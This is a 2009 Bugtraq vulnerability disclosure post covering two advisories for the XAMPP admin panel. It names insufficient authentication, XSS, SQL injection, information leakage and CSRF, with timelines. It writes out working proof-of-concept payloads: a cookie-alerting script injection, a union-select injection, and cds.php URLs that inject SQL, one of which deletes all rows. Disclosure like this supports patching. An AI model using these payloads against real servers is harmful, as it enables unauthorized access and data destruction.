Multiple vulnerabilities in XAMPP (advisories #3 and #4)

["MustLive" <mustlive () websecurity com ua>]

Hello Bugtraq!

I am continue informing you about multiple vulnerabilities in XAMPP.

-----------------------------
Advisory #3
-----------------------------
Vulnerabilities in XAMPP
-----------------------------
URL: http://websecurity.com.ua/3233/
-----------------------------
Timeline:

11.06.2009 - found the vulnerabilities.
15.06.2009 - announced at my site.
16.06.2009 - informed developers.
21.07.2009 - disclosed at my site.
-----------------------------
Details:

These are Insufficient Authentication, Cross-Site Scripting and SQL
Injection vulnerabilities.

Insufficient Authentication:

http://site/xampp/

There are such sites, where access to admin panel of XAMPP is not restricted
by password.

XSS:

POST query at page http://site/xampp/adodb.php

"><script>alert(document.cookie)</script>
In fields: Database server, Host, Username, Password, Current database,
Selected table.

SQL Injection:

Attack is conducted during access to admin panel of XAMPP - via
above-mentioned Insufficient Authorization vulnerability or via Insufficient
Authorization vulnerability which was found earlier, which I wrote about
(http://websecurity.com.ua/3220/).

At page http://site/xampp/adodb.php

cds where 1=0 union select version(),0,0,0
In field Selected table.

Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
versions (including last version XAMPP 1.7.1).

-----------------------------
Advisory #4
-----------------------------
Vulnerabilities in XAMPP
-----------------------------
URL: http://websecurity.com.ua/3250/
-----------------------------
Timeline:

11.06.2009 - found the vulnerabilities.
20.06.2009 - announced at my site.
21.06.2009 - informed developers.
25.07.2009 - disclosed at my site.
-----------------------------
Details:

These are Information Leakage, Cross-Site Request Forgery and SQL Injection
vulnerabilities.

Information Leakage:

http://site/xampp/phpinfo.php

During access to admin panel (via Insufficient Authorization
vulnerabilities) it's possible to gain a lot of information about the
system.

CSRF:

http://site/xampp/cds.php

It's possible to delete or add data in test table (as via CSRF, and as via
Insufficient Authorization vulnerabilities). And also to conduct SQL
Injection via CSRF attacks.

SQL Injection:

http://site/xampp/cds.php?action=del&id=-1%20or%201=1

http://site/xampp/cds.php?interpret=1&titel=1&jahr=1),(version(),1,1

http://site/xampp/cds.php?interpret=1&titel=',1,1),(version(),1,1)/* (mq
off)

http://site/xampp/cds.php?titel=1&interpret=',1),(version(),1,1)/** (mq off)

Attack is possible during access to admin panel (via Insufficient
Authorization), or via CSRF.

Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
versions (including last version XAMPP 1.7.1).

-----------------------------

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua